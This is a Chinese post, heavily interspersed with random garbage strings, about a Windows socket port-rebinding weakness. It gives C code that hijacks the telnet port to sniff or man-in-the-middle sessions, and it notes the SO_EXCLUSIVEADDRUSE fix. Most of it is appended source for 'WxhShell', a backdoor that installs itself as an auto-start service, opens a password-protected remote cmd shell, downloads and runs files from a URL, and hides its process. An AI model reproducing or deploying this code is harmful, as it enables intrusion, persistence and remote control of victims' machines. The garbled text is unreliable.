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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Gt5$6>A s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 54wM8'+ b_mWu@$ saddr.sin_family = AF_INET; 2*YP"Ryh \6 LcV ik saddr.sin_addr.s_addr = htonl(INADDR_ANY); {9'hOi50 :f]!O@.~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J=VyyUB 2mq%|VG' 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 QqjTLuN ?N2X)Y@yi 这意味着什么?意味着可以进行如下的攻击: <>&89E%j' !?n50 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7 BK46x 4)E|&)-fu8 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) dv[\.T`LY J5-rp| 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3z$HKG /evaTQPz 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 x57'Cg \ {\lui eG 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Y 0]Kl^\A :SQLfOQ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 bCt_yR w0$R`MOR+ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w@2~`<Hk'" #B\B(y #include j^rYFS
w:Q #include F;X"3F.! #include *<?XTs< #include ha5 bD% DWORD WINAPI ClientThread(LPVOID lpParam); |9x%gUm int main() jPj2 { BQuRHi IV WORD wVersionRequested; f{f_g8f[ DWORD ret; -t%L#1k WSADATA wsaData; CR.bMF} BOOL val; `M,Nd'5&| SOCKADDR_IN saddr;
a2[8wv1 SOCKADDR_IN scaddr; $xQ"PJ2 int err; yX3PUO9 SOCKET s; phe"JNML SOCKET sc; "zXGp7Q'# int caddsize; Ys)+9yPPn HANDLE mt; m^5s>hUl DWORD tid; /AoVl'R wVersionRequested = MAKEWORD( 2, 2 ); wd"TM err = WSAStartup( wVersionRequested, &wsaData ); *WD;C0?z if ( err != 0 ) { N: A3kp printf("error!WSAStartup failed!\n"); v)%[ return -1; /5jKX 5r } N*HH,m& saddr.sin_family = AF_INET; u1wg
C# kz$(V(k< //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8>2&h ws.?cCTpt saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;Sy/N|| saddr.sin_port = htons(23); z( *]'Y if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l#p}{ { oEN)Dw
o printf("error!socket failed!\n"); p|b+I"M return -1; nD(w @c? } TS/Cp{ val = TRUE; TLXhE(o|o //SO_REUSEADDR选项就是可以实现端口重绑定的 hyM'x* if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) R&]c"cO L8 { 5FZ47m ~{Z printf("error!setsockopt failed!\n"); i1tVdbC] return -1; 2\DTJ`Y, } (y%%6#bd //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; vuAQm}A4'g //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0T 1HQ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jC#`PA3m= {(_B if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) H\ {E%7^h- { ~:2&/MOP? ret=GetLastError(); C{DlcZ< printf("error!bind failed!\n"); &zO3qt6 return -1; +SO2M|ru& } /rn" listen(s,2); Gg'<Q.H while(1) GJ.kkTMT { OiYNH~hv caddsize = sizeof(scaddr); u,:CJ[3 //接受连接请求 j
l}!T[5 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2O$95M if(sc!=INVALID_SOCKET) q;CayN'I { w 9/nVu mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =U=e?AOG2 if(mt==NULL) [0h* & { vYYS.ve printf("Thread Creat Failed!\n"); dK[* break; ?s1u#'aO } s*aH`M7^0
} )3BR[*u* CloseHandle(mt); =X)Q7u".7 } v<{wA`'R+ closesocket(s); A Z]P+v WSACleanup(); -08&&H return 0; pp*bqY } aJEbAs} DWORD WINAPI ClientThread(LPVOID lpParam) tniPEmeS { e$ThSh\+( SOCKET ss = (SOCKET)lpParam; tx2Vyu SOCKET sc; dDsjPM;2 unsigned char buf[4096]; <WZ1- SOCKADDR_IN saddr; -q'xC: m long num; i7i|370 DWORD val; #;wkr)) DWORD ret; Uzan7A //如果是隐藏端口应用的话,可以在此处加一些判断 XRClBTKF //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 c1pq]mz|z saddr.sin_family = AF_INET; 4 *Bp saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P%.`c?olbs saddr.sin_port = htons(23); L2[Ei|9_ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jl;kcGE { N$N;Sw printf("error!socket failed!\n"); 5%2ef{T[ return -1; HXD*zv@ *6 } #citwMW val = 100; l,imT$u if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #]5&mKi { y%{*uH}SL ret = GetLastError(); qk_p}l-F1 return -1; %GVEY } +^/Nil if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R88(dEK { ,maAw}= ret = GetLastError(); 0ClX return -1; uAW*5 `[ } u5u0*c if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) B, QC-Tn { A8_\2'b printf("error!socket connect failed!\n"); kS@9c _3S closesocket(sc); I>A^5nk closesocket(ss); bs<WH`P return -1; C ffTv } UgF) J while(1) gi1}5DR { o|rGy5 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 O\|C,Epm //如果是嗅探内容的话,可以再此处进行内容分析和记录 XV74Fl //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 d[s;a. num = recv(ss,buf,4096,0); 1?/5A|?V4+ if(num>0) 30sC4} send(sc,buf,num,0); ?F?\uC2)' else if(num==0) j\XX:uU_ break; S(g<<Te num = recv(sc,buf,4096,0); "i!2=A8k if(num>0) &LCUoTzj send(ss,buf,num,0); o{ ,ba~$.w else if(num==0) R-g>W break; M!xm1-,[ } DiZ!c"$ closesocket(ss); 7i-W*Mb: closesocket(sc); q#mFN/.(+ return 0 ; gE-w]/1zD5 }
q8'@dH 9pVf2|5hj H$k![K6Uj ========================================================== ?=/}Ft JL"
3#p} 下边附上一个代码,,WXhSHELL afxj[;p! zxk??0]/ ========================================================== %4|n-`: _'?8s6 H #include "stdafx.h" 902!M65[rG +Op%,,Db #include <stdio.h> >)AE|j` #include <string.h> /tI d#/Y #include <windows.h> Ev$-PX #include <winsock2.h> ;[WSf{k #include <winsvc.h> 7$q2v=tH_ #include <urlmon.h> tF#b&za s8f3i\1 #pragma comment (lib, "Ws2_32.lib") 6T{o3wc; #pragma comment (lib, "urlmon.lib") L]/\C{}k )rs|=M=Xk #define MAX_USER 100 // 最大客户端连接数 +(QMy&DtS #define BUF_SOCK 200 // sock buffer f{+LCMbC6 #define KEY_BUFF 255 // 输入 buffer Vz7w{HY =`7#^7Q9 #define REBOOT 0 // 重启 J{GFb #define SHUTDOWN 1 // 关机 Ovl?j&8 SU_]C+ #define DEF_PORT 5000 // 监听端口 [T}%q"< %#S "~) #define REG_LEN 16 // 注册表键长度 D]G'R5H #define SVC_LEN 80 // NT服务名长度 ?c=R"Yg$
rvwl // 从dll定义API Ab^>z typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l ) )~& typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %U=S6<lbj; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~n8*@9[ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H3/Y HggR=>s // wxhshell配置信息 v2Qc}o struct WSCFG { a.Rp#}f int ws_port; // 监听端口 1,%#O;ya char ws_passstr[REG_LEN]; // 口令 rHC+nou int ws_autoins; // 安装标记, 1=yes 0=no QC\, char ws_regname[REG_LEN]; // 注册表键名 S2At$47v char ws_svcname[REG_LEN]; // 服务名 T;4gcJPn"M char ws_svcdisp[SVC_LEN]; // 服务显示名 Sob $j char ws_svcdesc[SVC_LEN]; // 服务描述信息 = h<? /Krs char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G+ $)W
u int ws_downexe; // 下载执行标记, 1=yes 0=no zP{<0o char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" <QkN}+B= char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V~]'+A
q> n&3iv^ }; Gw\G+T?M- 'sjJSc // default Wxhshell configuration =7J|KoKK struct WSCFG wscfg={DEF_PORT, :C|>y4U&(s "xuhuanlingzhe", g'}`FvADi 1, u]]5p[|S "Wxhshell", [)J49 "Wxhshell", Vlp*'2VO "WxhShell Service", [MQJ71(3 "Wrsky Windows CmdShell Service", [o[v"e\w "Please Input Your Password: ", ;)=zvr17 1, |4p<T!T " http://www.wrsky.com/wxhshell.exe", ?;.1fJU> "Wxhshell.exe" sjkKaid }; 02# b: FB= // 消息定义模块 ^qId]s char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qV, $bw char *msg_ws_prompt="\n\r? for help\n\r#>"; y
8d`}, char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; TReM8Vd char *msg_ws_ext="\n\rExit."; u\1Wkxj char *msg_ws_end="\n\rQuit."; PG v}fEH" char *msg_ws_boot="\n\rReboot..."; d4/`:?w char *msg_ws_poff="\n\rShutdown..."; KWigMh\r char *msg_ws_down="\n\rSave to "; zZ+LisS s& BJO~$/R?v char *msg_ws_err="\n\rErr!"; YP\4XI char *msg_ws_ok="\n\rOK!"; z)<pqN 4|@FO}rK[l char ExeFile[MAX_PATH]; =:n[{/O= int nUser = 0; Kz3h]/A. HANDLE handles[MAX_USER]; wsb=[$C int OsIsNt; [y=$2 MMxoKL SERVICE_STATUS serviceStatus; vVAZSR# SERVICE_STATUS_HANDLE hServiceStatusHandle; xeP;"J} u>Axq3F // 函数声明 !irX[,e int Install(void); /m{?o int Uninstall(void); 8|jX ~f int DownloadFile(char *sURL, SOCKET wsh); R0YC:rAt int Boot(int flag); #Zavdkw=d void HideProc(void); /4-eoTxy int GetOsVer(void); ;5oH6{7_Z int Wxhshell(SOCKET wsl); dV2b)p4J void TalkWithClient(void *cs); EhP&L?EL int CmdShell(SOCKET sock); W-]yKSob int StartFromService(void); |E_+*1l q. int StartWxhshell(LPSTR lpCmdLine); r/q1&*T cV,03]x VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YZ%f7BUk VOID WINAPI NTServiceHandler( DWORD fdwControl ); *l?%
o{ 4KSP81}/\ // 数据结构和表定义 I|3v&E1 SERVICE_TABLE_ENTRY DispatchTable[] = XUqE5[O% { s<r.+zqW {wscfg.ws_svcname, NTServiceMain},
Uhx2 _ {NULL, NULL} RJ@e5A6_ }; (krG0S:0Q IrwF
B // 自我安装 seD+~Y\z int Install(void) :jKXKY+T { z`r4edk3 char svExeFile[MAX_PATH]; M4hN#0("4 HKEY key; fN*4(yw strcpy(svExeFile,ExeFile); ubC JZ"! k#=leu"I // 如果是win9x系统,修改注册表设为自启动 u,SX`6% if(!OsIsNt) { yA>p[F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { knK=ENf;e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;'18 RegCloseKey(key); ah6F^Kpl{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f?<M3P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $E~Lu$| RegCloseKey(key); CL}I:/zRB return 0; `SS~=~WY } I{g2q B$6 } ~{7NTW } K?O X
else { Zn 5m.=z wsGq>F~ // 如果是NT以上系统,安装为系统服务 NMY!-Kv 5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &qI5*aQ8T if (schSCManager!=0) }?q nwx. { .HyiPx3^ SC_HANDLE schService = CreateService O7CYpn4<7 ( ']6#7NU schSCManager, UUEDCtF) wscfg.ws_svcname, \-iUuHP wscfg.ws_svcdisp, cp?P@- SERVICE_ALL_ACCESS, g$T_yT'' SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >93{=+ SERVICE_AUTO_START, {e SERVICE_ERROR_NORMAL, ZE(RvPW svExeFile, Sl<-)a: NULL, n]{}C.C= NULL, N8(x), NULL, 6C51:XQO NULL, oD}FJvV NULL j83Y'VJJC ); =$zr
t if (schService!=0) A`/7>'k/q[ { 5sCky)N CloseServiceHandle(schService); b!HFv;^N CloseServiceHandle(schSCManager); ;WAu]C| strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wG[l9)lz strcat(svExeFile,wscfg.ws_svcname); F5Q. Vh if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i\z0{;f|GX RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PaeafL65= RegCloseKey(key); Pk]9.e1_ return 0; IlL } .&Gtw
_ } IguG03:.N CloseServiceHandle(schSCManager); @dKf]&h%% } :8L61d2( } gV44PI6h R]sjG< return 1; GQ)cUrXQz } <:7e4# ;3}b&Z[N] // 自我卸载 d@4=XSj int Uninstall(void) KIY_EE$? {
8=Y|B5 HKEY key; xENA:j?kF 44{:UhJkx if(!OsIsNt) { 3K:Xxkk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { & ~G RegDeleteValue(key,wscfg.ws_regname); <4HuV.K RegCloseKey(key);
F%$Ws>l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $/#) RegDeleteValue(key,wscfg.ws_regname); iw;Alav"x RegCloseKey(key); AezXou& return 0; ';!UJWYl } 7IW7'klkvD } \mit&EUh} } A_
z:^9 else { p
8Hv7* Y tj>U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _r)nbQm& if (schSCManager!=0) 4IE#dwZW { )4~XZt1r SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Jpnp' if (schService!=0) .@Sh,^ v { RXvcy< if(DeleteService(schService)!=0) { F qyJ*W\1 CloseServiceHandle(schService); dsoRPX']= CloseServiceHandle(schSCManager); F+-MafN7Y return 0; 2p.+C35c=j } ,qh CloseServiceHandle(schService); [~JN n } >Nqkz?67 CloseServiceHandle(schSCManager); @,$HqJ } ky"7 ^ } fb=vO U ?UIb!k> return 1; GDe$p;#"9g } >%A=b}VS Y{{,62D // 从指定url下载文件 l%w|f`B: int DownloadFile(char *sURL, SOCKET wsh) *Y>'v% { fkG"72 95A HRESULT hr; L7="! I char seps[]= "/"; 2a}_|#* char *token; 5Z0x2jV char *file; x6P^IkL: char myURL[MAX_PATH]; [qo*,CRz char myFILE[MAX_PATH]; Qd=/e pkm nW[aPQ[R strcpy(myURL,sURL); .^W0;ISX token=strtok(myURL,seps); %tjEVQa while(token!=NULL) Q'LU?>N)/ { |0Kt@AJY file=token; +o5rR|)M+ token=strtok(NULL,seps); O$ \N]# } L(YT6Vmm+t 32J GetCurrentDirectory(MAX_PATH,myFILE); UcIR0BYa strcat(myFILE, "\\"); ku=q:ryO strcat(myFILE, file); DvKMb-*S send(wsh,myFILE,strlen(myFILE),0); Cu5
- w send(wsh,"...",3,0); U_04QwhK7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A]slssE+ if(hr==S_OK) !"">'}E1 return 0; 4^A'A.0 else '/@VG_9L] return 1; |1$X`|S ^`9OA`2 } g M.(BN -UE-v // 系统电源模块 c73ZEd+j int Boot(int flag) aUQq<H 'R { WocFID:b HANDLE hToken; ?/ g(Y TOKEN_PRIVILEGES tkp; R2gax; FL}8h/ if(OsIsNt) { @bE?WXY OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zj}efv<e LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w}0PtzOe tkp.PrivilegeCount = 1; Z!6G(zz:> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e<pojb1Q AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5
[*jfOz if(flag==REBOOT) { gnec#j if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'McVaPav return 0; T!AQJ:;1 } $~l:l[Zs else { \>Q,AyL if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZGBcy}U(k return 0; +z_0 ?x } ^8*.r+7p } P=GM7 else { g [K8G if(flag==REBOOT) { EJsb{$u if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3H2'HO return 0; GQQ6 t } /vU31_eZt else { @A%`\Ea% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iWEYSi\)n return 0; `W=JX2I } rA7S1)Kq } q
Sah _N f&J*(F*u return 1; Nsy.!,!c } bjZ?WZr ^ +G> N // win9x进程隐藏模块 ud1E@4;qf void HideProc(void) T/nRc_I+^B { 6{ Eh={:b }#@LZ)]hK HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]cK@nq) if ( hKernel != NULL ) 4D5)<3N=d' { [Pl$=[+ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Yp$lc^)c> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S45jY=)z FreeLibrary(hKernel); _`_$UMK; } od>.5{o _{8boDX# return; 01b0;| } L!RLw4
9hQ{r 2 // 获取操作系统版本 -vQ`}e1 int GetOsVer(void) s5 BV8 M { ~PHG5?X OSVERSIONINFO winfo; c'C2V9t winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NoT oLt\ GetVersionEx(&winfo); lH8?IkK,g if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'DPSM?]fA return 1; F~6[DqF\| else kBkhuKd)V return 0; 4?cg6WJ'6 } f
sMF46 \_oHuw // 客户端句柄模块 YR>x h2< 9 int Wxhshell(SOCKET wsl) =:lacK(0 { <cS1}" SOCKET wsh; oz QL2 struct sockaddr_in client; -3C~}~$>` DWORD myID; . Hw^Nx -Cl0!}P4I while(nUser<MAX_USER) !q?}[E2 { _[V
6s#Wk3 int nSize=sizeof(client); R~o?X^^O wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qohUxtnTK> if(wsh==INVALID_SOCKET) return 1; U3>G9g>^B pAYuOk9n handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {chl+au*l if(handles[nUser]==0) g~]FI closesocket(wsh); W/+0gh7`,( else }5|uA/B nUser++; q>?oV(sF } _nF_RpS WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JL1Whf M~v{\!S return 0; IcN|e4t^J+ } N6eY-`4y 2gi`^%#k] // 关闭 socket }6\p7n void CloseIt(SOCKET wsh) 3Dy.mt P
{ 5,A/6b closesocket(wsh); "{}5uth nUser--; cK""Xz&m ExitThread(0); ZCa?uzeo] } BX?Si1c
z>!b // 客户端请求句柄 ?%?@?W>s@ void TalkWithClient(void *cs) @uHNz-c { 16AYB17 q~lmOT~E SOCKET wsh=(SOCKET)cs; ^K8Ey#T char pwd[SVC_LEN]; .- w*&Hd7b char cmd[KEY_BUFF]; e(b*T char chr[1]; hP #>`)aNY int i,j; y3lsAe# 6D>o(b2 while (nUser < MAX_USER) { sXAXHZ{ m$3&r2vgi if(wscfg.ws_passstr) { : )&_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FXIQS' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^
`!6Yax? //ZeroMemory(pwd,KEY_BUFF); 5 gE i=0; oY &r76 while(i<SVC_LEN) { Wn|w~{d{ v vFX\j3 // 设置超时 h4]yIM`8d fd_set FdRead; nlKWZYv struct timeval TimeOut; N(Cfv3{ FD_ZERO(&FdRead); 3SDw-k FD_SET(wsh,&FdRead); ]krOPM/ TimeOut.tv_sec=8; =6ojkTk TimeOut.tv_usec=0; zg|]Ic int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2$|WXYY if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IRLT- Y?Xs
Z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X\_ku?]v pwd =chr[0]; Av{1~%hU if(chr[0]==0xd || chr[0]==0xa) { Rv }e+5F pwd=0; HyB!8M| break; &uC7W.| } P9gIKOOx#4 i++; ]R(=) } f"S^:F0 [H!V // 如果是非法用户,关闭 socket 2x0[@cTi? if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wj5{f5 RWV } S?&ntUah %1S;y send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (2X`imJ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tONxV` -(dc1?COi while(1) { & GX
pRo ^+I{*0{/[ ZeroMemory(cmd,KEY_BUFF); /S%{`F= C"K(-/ // 自动支持客户端 telnet标准 Z{|wjZb( j=0; +as(m while(j<KEY_BUFF) { Hq OzArp3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XfharJ_b cmd[j]=chr[0]; aqtQGK57"% if(chr[0]==0xa || chr[0]==0xd) { @xR=bWY cmd[j]=0; =*fOej>G break; V|Smk;G } @#;2P'KL j++; {eL XVNR7R } ;V@o 2a d=`hFwD9 // 下载文件 ngE5$}UM if(strstr(cmd,"http://")) { qh{hpX)\D send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pi`}-GUe, if(DownloadFile(cmd,wsh)) +9M#-:qB send(wsh,msg_ws_err,strlen(msg_ws_err),0); XI@;;>D1=U else pwr,rAJ}$j send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zgd|
J T7 } |4UW.dGHPo else { #A+ dj|
b g,*L P switch(cmd[0]) { KFx4"f% "{Lp'+wNw // 帮助 Eu2@%2}P case '?': { ;.+sz(:hm send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I'm.+(1m, break; WZ>
} } Dm2&}{&K // 安装 p@ 0Va case 'i': { iLD}>= if(Install()) qX>mOW^gT8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ')zdI]@M else X|++K;rtfE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8tJB/Pw`S break; 0CX2dk"UB^ } K 0R<a~ // 卸载 ?hHVawt case 'r': { {oOzXc6o if(Uninstall()) hV_bm@f/y send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fu].%`*xJ else ):-\TVz~ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 06X4mu{ break; R<}UT } {B+|",O5) // 显示 wxhshell 所在路径 _HjS!(lMk case 'p': { ;W 16Hr Z char svExeFile[MAX_PATH]; #l2KJ7AMK strcpy(svExeFile,"\n\r"); CEzwI _ strcat(svExeFile,ExeFile); cgY+xd@ send(wsh,svExeFile,strlen(svExeFile),0); -*HR0:H break; F/}(FG<'>I } WTK )SKa,. // 重启 W!6&T [j> case 'b': { &V"9[0 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P3Ocfpf Bp if(Boot(REBOOT)) ^26vP7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); VEFUj&t;xW else { PaIE=Q4gJ closesocket(wsh); O(pa;&" ExitThread(0); U~H]w,^ } .d/e?H: break; ,%Sf,h?"^ } Qx<86aKkF // 关机 w`ebZa/j case 'd': { ?y"=jn send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;l4epN if(Boot(SHUTDOWN)) H+lBb$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); (m:ktd=x else { B bP&-c closesocket(wsh); <9Sg,ix't ExitThread(0); \?EnTu. } qGivRDR$ break; O S?S$y } d K.k,7R // 获取shell 8p"R4 case 's': { @?bO@ CmdShell(wsh); s&.VU|=VQ@ closesocket(wsh); xQA6!j ExitThread(0); zw,( kv break; Xlg0u. } >_esLsPWh] // 退出 "Zr+>a case 'x': { Z@f4= send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,;%F\<b CloseIt(wsh); uz
U2)n3y break; jc0Trs{Jf } cI#! Y // 离开 %0&c0vT case 'q': { u/6b.hDO send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^VL",Nt closesocket(wsh); ?xX9o WSACleanup(); nNj<!}HvV exit(1); *gGL5<%T: break; m0M;f+^ } 2,T^L(] } + 0DPhc } &GKtD) V =9 // 提示信息 K."%PdC if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
iup "P } CQ;.}=j
, } sW#OA\i& ( :h#H[F return; mto=_|gn } {VK rP%B#%;S" // shell模块句柄 sR;^7(f!m int CmdShell(SOCKET sock) Lkf}+aY { _ -6IB> STARTUPINFO si; 5yl[#>qt ZeroMemory(&si,sizeof(si)); J
n~t>? si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )\3
RR.p si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `2I<V7SF$ PROCESS_INFORMATION ProcessInfo; k\/idd[ char cmdline[]="cmd"; qi51'@ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i!KZg74V return 0; .S{>?2 } oj$^87KX 7%`
\E9t // 自身启动模式 *h9S\Pv>j int StartFromService(void) Q |1-j { D}i_#-^MH typedef struct P;' xa^Y { rfH'&k DWORD ExitStatus; .e Jt]K DWORD PebBaseAddress; #)BbW40f6 DWORD AffinityMask; 5`tMHgQO DWORD BasePriority; /\-iV)h1@ ULONG UniqueProcessId; ]
-}Zd\Rs ULONG InheritedFromUniqueProcessId; W|,Y*l } PROCESS_BASIC_INFORMATION; 8`]1Nt!*B ~E^lKe PROCNTQSIP NtQueryInformationProcess; Gm1[PAj P(|+1$#[ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C]01(UoSZ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D-KQRe2@ =G<i6%(^g HANDLE hProcess; 7SVqfWp PROCESS_BASIC_INFORMATION pbi; Tm) (?y kD?lMA__ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a}p}G\b| if(NULL == hInst ) return 0; ZIr&_x#e iVdY\+N!< g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "54t7 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &l-1.muQ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FG@ 